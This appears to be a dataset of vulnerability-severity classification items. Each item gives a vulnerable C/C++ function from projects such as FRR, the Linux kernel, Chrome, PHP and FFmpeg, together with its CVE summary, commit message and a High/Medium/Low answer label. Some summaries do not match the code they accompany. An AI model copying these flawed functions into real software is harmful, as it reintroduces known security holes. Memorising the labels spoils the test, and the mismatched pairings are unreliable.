for (i = 0; i < attr->ecommunity->size; i++) {
pnt = attr->ecommunity->val + (i * 8);
tbit = *pnt;
if (CHECK_FLAG(
tbit,
ECOMMUNITY_FLAG_NON_TRANSITIVE))
continue;
stream_put(s, pnt, 8);
}
}
}
}
/* Label index attribute. */
if (safi == SAFI_LABELED_UNICAST) {
if (attr->flag & ATTR_FLAG_BIT(BGP_ATTR_PREFIX_SID)) {
uint32_t label_index;
label_index = attr->label_index;
if (label_index != BGP_INVALID_LABEL_INDEX) {
stream_putc(s,
BGP_ATTR_FLAG_OPTIONAL
| BGP_ATTR_FLAG_TRANS);
stream_putc(s, BGP_ATTR_PREFIX_SID);
stream_putc(s, 10);
stream_putc(s, BGP_PREFIX_SID_LABEL_INDEX);
stream_putw(s,
BGP_PREFIX_SID_LABEL_INDEX_LENGTH);
stream_putc(s, 0); // reserved
stream_putw(s, 0); // flags
stream_putl(s, label_index);
}
}
}
if (send_as4_path) {
/* If the peer is NOT As4 capable, AND */
/* there are ASnums > 65535 in path THEN
* give out AS4_PATH */
/* Get rid of all AS_CONFED_SEQUENCE and AS_CONFED_SET
* path segments!
* Hm, I wonder... confederation things *should* only be at
* the beginning of an aspath, right? Then we should use
* aspath_delete_confed_seq for this, because it is already
* there! (JK)
* Folks, talk to me: what is reasonable here!?
*/
aspath = aspath_delete_confed_seq(aspath);
stream_putc(s,
BGP_ATTR_FLAG_TRANS | BGP_ATTR_FLAG_OPTIONAL
| BGP_ATTR_FLAG_EXTLEN);
stream_putc(s, BGP_ATTR_AS4_PATH);
aspath_sizep = stream_get_endp(s);
stream_putw(s, 0);
stream_putw_at(s, aspath_sizep, aspath_put(s, aspath, 1));
}
if (aspath != attr->aspath)
aspath_free(aspath);
if (send_as4_aggregator) {
/* send AS4_AGGREGATOR, at this place */
/* this section of code moved here in order to ensure the
* correct
* *ascending* order of attributes
*/
stream_putc(s, BGP_ATTR_FLAG_OPTIONAL | BGP_ATTR_FLAG_TRANS);
stream_putc(s, BGP_ATTR_AS4_AGGREGATOR);
stream_putc(s, 8);
stream_putl(s, attr->aggregator_as);
stream_put_ipv4(s, attr->aggregator_addr.s_addr);
}
if (((afi == AFI_IP || afi == AFI_IP6)
&& (safi == SAFI_ENCAP || safi == SAFI_MPLS_VPN))
|| (afi == AFI_L2VPN && safi == SAFI_EVPN)) {
/* Tunnel Encap attribute */
bgp_packet_mpattr_tea(bgp, peer, s, attr, BGP_ATTR_ENCAP);
#if ENABLE_BGP_VNC
/* VNC attribute */
bgp_packet_mpattr_tea(bgp, peer, s, attr, BGP_ATTR_VNC);
#endif
}
/* PMSI Tunnel */
if (attr->flag & ATTR_FLAG_BIT(BGP_ATTR_PMSI_TUNNEL)) {
stream_putc(s, BGP_ATTR_FLAG_OPTIONAL | BGP_ATTR_FLAG_TRANS);
stream_putc(s, BGP_ATTR_PMSI_TUNNEL);
stream_putc(s, 9); // Length
stream_putc(s, 0); // Flags
stream_putc(s, PMSI_TNLTYPE_INGR_REPL); // IR (6)
stream_put(s, &(attr->label),
BGP_LABEL_BYTES); // MPLS Label / VXLAN VNI
stream_put_ipv4(s, attr->nexthop.s_addr);
}
/* Unknown transit attribute. */
if (attr->transit)
stream_put(s, attr->transit->val, attr->transit->length);
/* Return total size of attribute. */
return stream_get_endp(s) - cp;
}
Vulnerability Type: DoS
CWE ID:
Summary: bgpd in FRRouting FRR (aka Free Range Routing) 2.x and 3.x before 3.0.4, 4.x before 4.0.1, 5.x before 5.0.2, and 6.x before 6.0.2 (not affecting Cumulus Linux or VyOS), when ENABLE_BGP_VNC is used for Virtual Network Control, allows remote attackers to cause a denial of service (peering session flap) via attribute 255 in a BGP UPDATE packet. This occurred during Disco in January 2019 because FRR does not implement RFC 7606, and therefore the packets with 255 were considered invalid VNC data and the BGP session was closed.
Commit Message: bgpd: don't use BGP_ATTR_VNC(255) unless ENABLE_BGP_VNC_ATTR is defined
Signed-off-by: Lou Berger <[email protected]> | Low | 169,743 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: void EnterpriseEnrollmentScreen::RegisterForDevicePolicy(
const std::string& token,
policy::BrowserPolicyConnector::TokenType token_type) {
policy::BrowserPolicyConnector* connector =
g_browser_process->browser_policy_connector();
if (!connector->device_cloud_policy_subsystem()) {
NOTREACHED() << "Cloud policy subsystem not initialized.";
UMA_HISTOGRAM_ENUMERATION(policy::kMetricEnrollment,
policy::kMetricEnrollmentOtherFailed,
policy::kMetricEnrollmentSize);
if (is_showing_)
actor_->ShowFatalEnrollmentError();
return;
}
connector->ScheduleServiceInitialization(0);
registrar_.reset(new policy::CloudPolicySubsystem::ObserverRegistrar(
connector->device_cloud_policy_subsystem(), this));
connector->SetDeviceCredentials(user_, token, token_type);
}
Vulnerability Type: DoS
CWE ID: CWE-399
Summary: Use-after-free vulnerability in Google Chrome before 14.0.835.202 allows remote attackers to cause a denial of service or possibly have unspecified other impact via vectors related to the Google V8 bindings.
Commit Message: Reset the device policy machinery upon retrying enrollment.
BUG=chromium-os:18208
TEST=See bug description
Review URL: http://codereview.chromium.org/7676005
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@97615 0039d316-1c4b-4281-b951-d872f2087c98 | Medium | 170,278 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: LPSTR tr_esc_str(LPCSTR arg, bool format)
{
LPSTR tmp = NULL;
size_t cs = 0, x, ds, len;
size_t s;
if (NULL == arg)
return NULL;
s = strlen(arg);
/* Find trailing whitespaces */
while ((s > 0) && isspace(arg[s - 1]))
s--;
/* Prepare a initial buffer with the size of the result string. */
ds = s + 1;
if (s)
tmp = (LPSTR)realloc(tmp, ds * sizeof(CHAR));
if (NULL == tmp)
{
fprintf(stderr, "Could not allocate string buffer.\n");
exit(-2);
}
/* Copy character for character and check, if it is necessary to escape. */
memset(tmp, 0, ds * sizeof(CHAR));
for (x = 0; x < s; x++)
{
switch (arg[x])
{
case '<':
len = format ? 13 : 4;
ds += len - 1;
tmp = (LPSTR)realloc(tmp, ds * sizeof(CHAR));
if (NULL == tmp)
{
fprintf(stderr, "Could not reallocate string buffer.\n");
exit(-3);
}
if (format)
/* coverity[buffer_size] */
strncpy(&tmp[cs], "<replaceable>", len);
else
/* coverity[buffer_size] */
strncpy(&tmp[cs], "<", len);
cs += len;
break;
case '>':
len = format ? 14 : 4;
ds += len - 1;
tmp = (LPSTR)realloc(tmp, ds * sizeof(CHAR));
if (NULL == tmp)
{
fprintf(stderr, "Could not reallocate string buffer.\n");
exit(-4);
}
if (format)
/* coverity[buffer_size] */
strncpy(&tmp[cs], "</replaceable>", len);
else
/* coverity[buffer_size] */
strncpy(&tmp[cs], "<", len);
cs += len;
break;
case '\'':
ds += 5;
tmp = (LPSTR)realloc(tmp, ds * sizeof(CHAR));
if (NULL == tmp)
{
fprintf(stderr, "Could not reallocate string buffer.\n");
exit(-5);
}
tmp[cs++] = '&';
tmp[cs++] = 'a';
tmp[cs++] = 'p';
tmp[cs++] = 'o';
tmp[cs++] = 's';
tmp[cs++] = ';';
break;
case '"':
ds += 5;
tmp = (LPSTR)realloc(tmp, ds * sizeof(CHAR));
if (NULL == tmp)
{
fprintf(stderr, "Could not reallocate string buffer.\n");
exit(-6);
}
tmp[cs++] = '&';
tmp[cs++] = 'q';
tmp[cs++] = 'u';
tmp[cs++] = 'o';
tmp[cs++] = 't';
tmp[cs++] = ';';
break;
case '&':
ds += 4;
tmp = (LPSTR)realloc(tmp, ds * sizeof(CHAR));
if (NULL == tmp)
{
fprintf(stderr, "Could not reallocate string buffer.\n");
exit(-7);
}
tmp[cs++] = '&';
tmp[cs++] = 'a';
tmp[cs++] = 'm';
tmp[cs++] = 'p';
tmp[cs++] = ';';
break;
default:
tmp[cs++] = arg[x];
break;
}
/* Assure, the string is '\0' terminated. */
tmp[ds - 1] = '\0';
}
return tmp;
}
Vulnerability Type:
CWE ID: CWE-772
Summary: HuffmanTree_makeFromFrequencies in lodepng.c in LodePNG through 2019-09-28, as used in WinPR in FreeRDP and other products, has a memory leak because a supplied realloc pointer (i.e., the first argument to realloc) is also used for a realloc return value.
Commit Message: Fixed #5645: realloc return handling | Medium | 169,495 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: zend_op_array *compile_string(zval *source_string, char *filename TSRMLS_DC)
{
zend_lex_state original_lex_state;
zend_op_array *op_array = (zend_op_array *) emalloc(sizeof(zend_op_array));
zend_op_array *original_active_op_array = CG(active_op_array);
zend_op_array *retval;
zval tmp;
int compiler_result;
zend_bool original_in_compilation = CG(in_compilation);
if (source_string->value.str.len==0) {
efree(op_array);
return NULL;
}
CG(in_compilation) = 1;
tmp = *source_string;
zval_copy_ctor(&tmp);
convert_to_string(&tmp);
source_string = &tmp;
zend_save_lexical_state(&original_lex_state TSRMLS_CC);
if (zend_prepare_string_for_scanning(source_string, filename TSRMLS_CC)==FAILURE) {
efree(op_array);
retval = NULL;
} else {
zend_bool orig_interactive = CG(interactive);
CG(interactive) = 0;
init_op_array(op_array, ZEND_EVAL_CODE, INITIAL_OP_ARRAY_SIZE TSRMLS_CC);
CG(interactive) = orig_interactive;
CG(active_op_array) = op_array;
zend_stack_push(&CG(context_stack), (void *) &CG(context), sizeof(CG(context)));
zend_init_compiler_context(TSRMLS_C);
BEGIN(ST_IN_SCRIPTING);
compiler_result = zendparse(TSRMLS_C);
if (SCNG(script_filtered)) {
efree(SCNG(script_filtered));
SCNG(script_filtered) = NULL;
}
if (compiler_result==1) {
CG(active_op_array) = original_active_op_array;
CG(unclean_shutdown)=1;
destroy_op_array(op_array TSRMLS_CC);
efree(op_array);
retval = NULL;
} else {
zend_do_return(NULL, 0 TSRMLS_CC);
CG(active_op_array) = original_active_op_array;
pass_two(op_array TSRMLS_CC);
zend_release_labels(0 TSRMLS_CC);
retval = op_array;
}
}
zend_restore_lexical_state(&original_lex_state TSRMLS_CC);
zval_dtor(&tmp);
CG(in_compilation) = original_in_compilation;
return retval;
}
Vulnerability Type: DoS
CWE ID: CWE-20
Summary: ** DISPUTED ** The Zend Engine in PHP before 5.4.16 RC1, and 5.5.0 before RC2, does not properly determine whether a parser error occurred, which allows context-dependent attackers to cause a denial of service (memory consumption and application crash) via a crafted function definition, as demonstrated by an attack within a shared web-hosting environment. NOTE: the vendor's http://php.net/security-note.php page says *for critical security situations you should be using OS-level security by running multiple web servers each as their own user id.*
Commit Message: fix bug #64660 - yyparse can return 2, not only 1 | Medium | 166,024 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static int ip6_frag_queue(struct frag_queue *fq, struct sk_buff *skb,
struct frag_hdr *fhdr, int nhoff)
{
struct sk_buff *prev, *next;
struct net_device *dev;
int offset, end;
struct net *net = dev_net(skb_dst(skb)->dev);
if (fq->q.last_in & INET_FRAG_COMPLETE)
goto err;
offset = ntohs(fhdr->frag_off) & ~0x7;
end = offset + (ntohs(ipv6_hdr(skb)->payload_len) -
((u8 *)(fhdr + 1) - (u8 *)(ipv6_hdr(skb) + 1)));
if ((unsigned int)end > IPV6_MAXPLEN) {
IP6_INC_STATS_BH(net, ip6_dst_idev(skb_dst(skb)),
IPSTATS_MIB_INHDRERRORS);
icmpv6_param_prob(skb, ICMPV6_HDR_FIELD,
((u8 *)&fhdr->frag_off -
skb_network_header(skb)));
return -1;
}
if (skb->ip_summed == CHECKSUM_COMPLETE) {
const unsigned char *nh = skb_network_header(skb);
skb->csum = csum_sub(skb->csum,
csum_partial(nh, (u8 *)(fhdr + 1) - nh,
0));
}
/* Is this the final fragment? */
if (!(fhdr->frag_off & htons(IP6_MF))) {
/* If we already have some bits beyond end
* or have different end, the segment is corrupted.
*/
if (end < fq->q.len ||
((fq->q.last_in & INET_FRAG_LAST_IN) && end != fq->q.len))
goto err;
fq->q.last_in |= INET_FRAG_LAST_IN;
fq->q.len = end;
} else {
/* Check if the fragment is rounded to 8 bytes.
* Required by the RFC.
*/
if (end & 0x7) {
/* RFC2460 says always send parameter problem in
* this case. -DaveM
*/
IP6_INC_STATS_BH(net, ip6_dst_idev(skb_dst(skb)),
IPSTATS_MIB_INHDRERRORS);
icmpv6_param_prob(skb, ICMPV6_HDR_FIELD,
offsetof(struct ipv6hdr, payload_len));
return -1;
}
if (end > fq->q.len) {
/* Some bits beyond end -> corruption. */
if (fq->q.last_in & INET_FRAG_LAST_IN)
goto err;
fq->q.len = end;
}
}
if (end == offset)
goto err;
/* Point into the IP datagram 'data' part. */
if (!pskb_pull(skb, (u8 *) (fhdr + 1) - skb->data))
goto err;
if (pskb_trim_rcsum(skb, end - offset))
goto err;
/* Find out which fragments are in front and at the back of us
* in the chain of fragments so far. We must know where to put
* this fragment, right?
*/
prev = fq->q.fragments_tail;
if (!prev || FRAG6_CB(prev)->offset < offset) {
next = NULL;
goto found;
}
prev = NULL;
for(next = fq->q.fragments; next != NULL; next = next->next) {
if (FRAG6_CB(next)->offset >= offset)
break; /* bingo! */
prev = next;
}
found:
/* We found where to put this one. Check for overlap with
* preceding fragment, and, if needed, align things so that
* any overlaps are eliminated.
*/
if (prev) {
int i = (FRAG6_CB(prev)->offset + prev->len) - offset;
if (i > 0) {
offset += i;
if (end <= offset)
goto err;
if (!pskb_pull(skb, i))
goto err;
if (skb->ip_summed != CHECKSUM_UNNECESSARY)
skb->ip_summed = CHECKSUM_NONE;
}
}
/* Look for overlap with succeeding segments.
* If we can merge fragments, do it.
*/
while (next && FRAG6_CB(next)->offset < end) {
int i = end - FRAG6_CB(next)->offset; /* overlap is 'i' bytes */
if (i < next->len) {
/* Eat head of the next overlapped fragment
* and leave the loop. The next ones cannot overlap.
*/
if (!pskb_pull(next, i))
goto err;
FRAG6_CB(next)->offset += i; /* next fragment */
fq->q.meat -= i;
if (next->ip_summed != CHECKSUM_UNNECESSARY)
next->ip_summed = CHECKSUM_NONE;
break;
} else {
struct sk_buff *free_it = next;
/* Old fragment is completely overridden with
* new one drop it.
*/
next = next->next;
if (prev)
prev->next = next;
else
fq->q.fragments = next;
fq->q.meat -= free_it->len;
frag_kfree_skb(fq->q.net, free_it);
}
}
FRAG6_CB(skb)->offset = offset;
/* Insert this fragment in the chain of fragments. */
skb->next = next;
if (!next)
fq->q.fragments_tail = skb;
if (prev)
prev->next = skb;
else
fq->q.fragments = skb;
dev = skb->dev;
if (dev) {
fq->iif = dev->ifindex;
skb->dev = NULL;
}
fq->q.stamp = skb->tstamp;
fq->q.meat += skb->len;
atomic_add(skb->truesize, &fq->q.net->mem);
/* The first fragment.
* nhoffset is obtained from the first fragment, of course.
*/
if (offset == 0) {
fq->nhoffset = nhoff;
fq->q.last_in |= INET_FRAG_FIRST_IN;
}
if (fq->q.last_in == (INET_FRAG_FIRST_IN | INET_FRAG_LAST_IN) &&
fq->q.meat == fq->q.len)
return ip6_frag_reasm(fq, prev, dev);
write_lock(&ip6_frags.lock);
list_move_tail(&fq->q.lru_list, &fq->q.net->lru_list);
write_unlock(&ip6_frags.lock);
return -1;
err:
IP6_INC_STATS(net, ip6_dst_idev(skb_dst(skb)),
IPSTATS_MIB_REASMFAILS);
kfree_skb(skb);
return -1;
}
Vulnerability Type: Bypass
CWE ID:
Summary: The ip6_frag_queue function in net/ipv6/reassembly.c in the Linux kernel before 2.6.36 allows remote attackers to bypass intended network restrictions via overlapping IPv6 fragments.
Commit Message: ipv6: discard overlapping fragment
RFC5722 prohibits reassembling fragments when some data overlaps.
Bug spotted by Zhang Zuotao <[email protected]>.
Signed-off-by: Nicolas Dichtel <[email protected]>
Signed-off-by: David S. Miller <[email protected]> | Medium | 165,539 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: struct task_struct * __cpuinit fork_idle(int cpu)
{
struct task_struct *task;
struct pt_regs regs;
task = copy_process(CLONE_VM, 0, idle_regs(®s), 0, NULL,
&init_struct_pid, 0);
if (!IS_ERR(task))
init_idle(task, cpu);
return task;
}
Vulnerability Type: DoS
CWE ID: CWE-20
Summary: include/linux/init_task.h in the Linux kernel before 2.6.35 does not prevent signals with a process group ID of zero from reaching the swapper process, which allows local users to cause a denial of service (system crash) by leveraging access to this process group.
Commit Message: pids: fix fork_idle() to setup ->pids correctly
copy_process(pid => &init_struct_pid) doesn't do attach_pid/etc.
It shouldn't, but this means that the idle threads run with the wrong
pids copied from the caller's task_struct. In x86 case the caller is
either kernel_init() thread or keventd.
In particular, this means that after the series of cpu_up/cpu_down an
idle thread (which never exits) can run with .pid pointing to nowhere.
Change fork_idle() to initialize idle->pids[] correctly. We only set
.pid = &init_struct_pid but do not add .node to list, INIT_TASK() does
the same for the boot-cpu idle thread (swapper).
Signed-off-by: Oleg Nesterov <[email protected]>
Cc: Cedric Le Goater <[email protected]>
Cc: Dave Hansen <[email protected]>
Cc: Eric Biederman <[email protected]>
Cc: Herbert Poetzl <[email protected]>
Cc: Mathias Krause <[email protected]>
Acked-by: Roland McGrath <[email protected]>
Acked-by: Serge Hallyn <[email protected]>
Cc: Sukadev Bhattiprolu <[email protected]>
Signed-off-by: Andrew Morton <[email protected]>
Signed-off-by: Linus Torvalds <[email protected]> | Medium | 170,156 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: produce_output()
{
char *str;
FILE *mailer;
MyString subject,szTmp;
subject.sprintf("condor_preen results %s: %d old file%s found",
my_full_hostname(), BadFiles->number(),
(BadFiles->number() > 1)?"s":"");
if( MailFlag ) {
if( (mailer=email_open(PreenAdmin, subject.Value())) == NULL ) {
EXCEPT( "Can't do email_open(\"%s\", \"%s\")\n",PreenAdmin,subject.Value());
}
} else {
mailer = stdout;
}
szTmp.sprintf("The condor_preen process has found the following stale condor files on <%s>:\n\n", get_local_hostname().Value());
dprintf(D_ALWAYS, szTmp.Value());
if( MailFlag ) {
fprintf( mailer, "\n" );
fprintf( mailer, szTmp.Value());
}
for( BadFiles->rewind(); (str = BadFiles->next()); ) {
szTmp.sprintf(" %s\n", str);
dprintf(D_ALWAYS, szTmp.Value() );
fprintf( mailer, szTmp.Value() );
}
if( MailFlag ) {
const char *explanation = "\n\nWhat is condor_preen?\n\n"
"The condor_preen tool examines the directories belonging to Condor, and\n"
"removes extraneous files and directories which may be left over from Condor\n"
"processes which terminated abnormally either due to internal errors or a\n"
"system crash. The directories checked are the LOG, EXECUTE, and SPOOL\n"
"directories as defined in the Condor configuration files. The condor_preen\n"
"tool is intended to be run as user root (or user condor) periodically as a\n"
"backup method to ensure reasonable file system cleanliness in the face of\n"
"errors. This is done automatically by default by the condor_master daemon.\n"
"It may also be explicitly invoked on an as needed basis.\n\n"
"See the Condor manual section on condor_preen for more details.\n";
fprintf( mailer, "%s\n", explanation );
email_close( mailer );
}
}
Vulnerability Type: DoS Exec Code
CWE ID: CWE-134
Summary: Multiple format string vulnerabilities in Condor 7.2.0 through 7.6.4, and possibly certain 7.7.x versions, as used in Red Hat MRG Grid and possibly other products, allow local users to cause a denial of service (condor_schedd daemon and failure to launch jobs) and possibly execute arbitrary code via format string specifiers in (1) the reason for a hold for a job that uses an XML user log, (2) the filename of a file to be transferred, and possibly other unspecified vectors.
Commit Message: | Medium | 165,381 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static inline int ldsem_cmpxchg(long *old, long new, struct ld_semaphore *sem)
{
long tmp = *old;
*old = atomic_long_cmpxchg(&sem->count, *old, new);
return *old == tmp;
}
Vulnerability Type: DoS
CWE ID: CWE-362
Summary: Race condition in the ldsem_cmpxchg function in drivers/tty/tty_ldsem.c in the Linux kernel before 3.13-rc4-next-20131218 allows local users to cause a denial of service (ldsem_down_read and ldsem_down_write deadlock) by establishing a new tty thread during shutdown of a previous tty thread.
Commit Message: tty: Fix hang at ldsem_down_read()
When a controlling tty is being hung up and the hang up is
waiting for a just-signalled tty reader or writer to exit, and a new tty
reader/writer tries to acquire an ldisc reference concurrently with the
ldisc reference release from the signalled reader/writer, the hangup
can hang. The new reader/writer is sleeping in ldsem_down_read() and the
hangup is sleeping in ldsem_down_write() [1].
The new reader/writer fails to wakeup the waiting hangup because the
wrong lock count value is checked (the old lock count rather than the new
lock count) to see if the lock is unowned.
Change helper function to return the new lock count if the cmpxchg was
successful; document this behavior.
[1] edited dmesg log from reporter
SysRq : Show Blocked State
task PC stack pid father
systemd D ffff88040c4f0000 0 1 0 0x00000000
ffff88040c49fbe0 0000000000000046 ffff88040c4a0000 ffff88040c49ffd8
00000000001d3980 00000000001d3980 ffff88040c4a0000 ffff88040593d840
ffff88040c49fb40 ffffffff810a4cc0 0000000000000006 0000000000000023
Call Trace:
[<ffffffff810a4cc0>] ? sched_clock_cpu+0x9f/0xe4
[<ffffffff810a4cc0>] ? sched_clock_cpu+0x9f/0xe4
[<ffffffff810a4cc0>] ? sched_clock_cpu+0x9f/0xe4
[<ffffffff810a4cc0>] ? sched_clock_cpu+0x9f/0xe4
[<ffffffff817a6649>] schedule+0x24/0x5e
[<ffffffff817a588b>] schedule_timeout+0x15b/0x1ec
[<ffffffff810a4cc0>] ? sched_clock_cpu+0x9f/0xe4
[<ffffffff817aa691>] ? _raw_spin_unlock_irq+0x24/0x26
[<ffffffff817aa10c>] down_read_failed+0xe3/0x1b9
[<ffffffff817aa26d>] ldsem_down_read+0x8b/0xa5
[<ffffffff8142b5ca>] ? tty_ldisc_ref_wait+0x1b/0x44
[<ffffffff8142b5ca>] tty_ldisc_ref_wait+0x1b/0x44
[<ffffffff81423f5b>] tty_write+0x7d/0x28a
[<ffffffff814241f5>] redirected_tty_write+0x8d/0x98
[<ffffffff81424168>] ? tty_write+0x28a/0x28a
[<ffffffff8115d03f>] do_loop_readv_writev+0x56/0x79
[<ffffffff8115e604>] do_readv_writev+0x1b0/0x1ff
[<ffffffff8116ea0b>] ? do_vfs_ioctl+0x32a/0x489
[<ffffffff81167d9d>] ? final_putname+0x1d/0x3a
[<ffffffff8115e6c7>] vfs_writev+0x2e/0x49
[<ffffffff8115e7d3>] SyS_writev+0x47/0xaa
[<ffffffff817ab822>] system_call_fastpath+0x16/0x1b
bash D ffffffff81c104c0 0 5469 5302 0x00000082
ffff8800cf817ac0 0000000000000046 ffff8804086b22a0 ffff8800cf817fd8
00000000001d3980 00000000001d3980 ffff8804086b22a0 ffff8800cf817a48
000000000000b9a0 ffff8800cf817a78 ffffffff81004675 ffff8800cf817a44
Call Trace:
[<ffffffff81004675>] ? dump_trace+0x165/0x29c
[<ffffffff810a4cc0>] ? sched_clock_cpu+0x9f/0xe4
[<ffffffff8100edda>] ? save_stack_trace+0x26/0x41
[<ffffffff817a6649>] schedule+0x24/0x5e
[<ffffffff817a588b>] schedule_timeout+0x15b/0x1ec
[<ffffffff810a4cc0>] ? sched_clock_cpu+0x9f/0xe4
[<ffffffff817a9f03>] ? down_write_failed+0xa3/0x1c9
[<ffffffff817aa691>] ? _raw_spin_unlock_irq+0x24/0x26
[<ffffffff817a9f0b>] down_write_failed+0xab/0x1c9
[<ffffffff817aa300>] ldsem_down_write+0x79/0xb1
[<ffffffff817aada3>] ? tty_ldisc_lock_pair_timeout+0xa5/0xd9
[<ffffffff817aada3>] tty_ldisc_lock_pair_timeout+0xa5/0xd9
[<ffffffff8142bf33>] tty_ldisc_hangup+0xc4/0x218
[<ffffffff81423ab3>] __tty_hangup+0x2e2/0x3ed
[<ffffffff81424a76>] disassociate_ctty+0x63/0x226
[<ffffffff81078aa7>] do_exit+0x79f/0xa11
[<ffffffff81086bdb>] ? get_signal_to_deliver+0x206/0x62f
[<ffffffff810b4bfb>] ? lock_release_holdtime.part.8+0xf/0x16e
[<ffffffff81079b05>] do_group_exit+0x47/0xb5
[<ffffffff81086c16>] get_signal_to_deliver+0x241/0x62f
[<ffffffff810020a7>] do_signal+0x43/0x59d
[<ffffffff810f2af7>] ? __audit_syscall_exit+0x21a/0x2a8
[<ffffffff810b4bfb>] ? lock_release_holdtime.part.8+0xf/0x16e
[<ffffffff81002655>] do_notify_resume+0x54/0x6c
[<ffffffff817abaf8>] int_signal+0x12/0x17
Reported-by: Sami Farin <[email protected]>
Cc: <[email protected]> # 3.12.x
Signed-off-by: Peter Hurley <[email protected]>
Signed-off-by: Greg Kroah-Hartman <[email protected]> | Medium | 167,566 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: void TextTrack::addCue(TextTrackCue* cue) {
DCHECK(cue);
if (std::isnan(cue->startTime()) || std::isnan(cue->endTime()) ||
cue->startTime() < 0 || cue->endTime() < 0)
return;
if (TextTrack* cue_track = cue->track())
cue_track->removeCue(cue, ASSERT_NO_EXCEPTION);
cue->SetTrack(this);
EnsureTextTrackCueList()->Add(cue);
if (GetCueTimeline() && mode_ != DisabledKeyword())
GetCueTimeline()->AddCue(this, cue);
}
Vulnerability Type: DoS
CWE ID:
Summary: fpdfsdk/src/jsapi/fxjs_v8.cpp in PDFium, as used in Google Chrome before 47.0.2526.73, does not use signatures, which allows remote attackers to cause a denial of service or possibly have unspecified other impact via vectors that leverage *type confusion.*
Commit Message: Support negative timestamps of TextTrackCue
Ensure proper behaviour for negative timestamps of TextTrackCue.
1. Cues with negative startTime should become active from 0s.
2. Cues with negative startTime and endTime should never be active.
Bug: 314032
Change-Id: Ib53710e58be0be770c933ea8c3c4709a0e5dec0d
Reviewed-on: https://chromium-review.googlesource.com/863270
Commit-Queue: srirama chandra sekhar <[email protected]>
Reviewed-by: Fredrik Söderquist <[email protected]>
Cr-Commit-Position: refs/heads/master@{#529012} | High | 171,768 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static av_cold int xpm_decode_close(AVCodecContext *avctx)
{
XPMDecContext *x = avctx->priv_data;
av_freep(&x->pixels);
return 0;
}
Vulnerability Type: DoS Overflow
CWE ID: CWE-119
Summary: Stack-based buffer overflow in the color_string_to_rgba function in libavcodec/xpmdec.c in FFmpeg 3.3 before 3.3.1 allows remote attackers to cause a denial of service (application crash) or possibly have unspecified other impact via a crafted file.
Commit Message: avcodec/xpmdec: Fix multiple pointer/memory issues
Most of these were found through code review in response to
fixing 1466/clusterfuzz-testcase-minimized-5961584419536896
There is thus no testcase for most of this.
The initial issue was Found-by: continuous fuzzing process https://github.com/google/oss-fuzz/tree/master/targets/ffmpeg
Signed-off-by: Michael Niedermayer <[email protected]> | Medium | 168,077 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: WebNavigationPolicy RenderViewImpl::decidePolicyForNavigation(
WebFrame* frame, const WebURLRequest& request, WebNavigationType type,
const WebNode&, WebNavigationPolicy default_policy, bool is_redirect) {
if (is_swapped_out_) {
if (request.url() != GURL("about:swappedout"))
return WebKit::WebNavigationPolicyIgnore;
return default_policy;
}
const GURL& url = request.url();
bool is_content_initiated =
DocumentState::FromDataSource(frame->provisionalDataSource())->
navigation_state()->is_content_initiated();
const CommandLine& command_line = *CommandLine::ForCurrentProcess();
if (command_line.HasSwitch(switches::kEnableStrictSiteIsolation) &&
!frame->parent() && (is_content_initiated || is_redirect)) {
WebString origin_str = frame->document().securityOrigin().toString();
GURL frame_url(origin_str.utf8().data());
if (frame_url.GetOrigin() != url.GetOrigin()) {
Referrer referrer(
GURL(request.httpHeaderField(WebString::fromUTF8("Referer"))),
GetReferrerPolicyFromRequest(request));
OpenURL(frame, url, referrer, default_policy);
return WebKit::WebNavigationPolicyIgnore;
}
}
if (is_content_initiated) {
bool browser_handles_top_level_requests =
renderer_preferences_.browser_handles_top_level_requests &&
IsNonLocalTopLevelNavigation(url, frame, type);
if (browser_handles_top_level_requests ||
renderer_preferences_.browser_handles_all_requests) {
Referrer referrer(
GURL(request.httpHeaderField(WebString::fromUTF8("Referer"))),
GetReferrerPolicyFromRequest(request));
page_id_ = -1;
last_page_id_sent_to_browser_ = -1;
OpenURL(frame, url, referrer, default_policy);
return WebKit::WebNavigationPolicyIgnore; // Suppress the load here.
}
}
if (!frame->parent() && is_content_initiated &&
!url.SchemeIs(chrome::kAboutScheme)) {
bool send_referrer = false;
int cumulative_bindings =
RenderProcess::current()->GetEnabledBindings();
bool should_fork =
content::GetContentClient()->HasWebUIScheme(url) ||
(cumulative_bindings & content::BINDINGS_POLICY_WEB_UI) ||
url.SchemeIs(chrome::kViewSourceScheme) ||
frame->isViewSourceModeEnabled();
if (!should_fork) {
if (request.httpMethod() == "GET") {
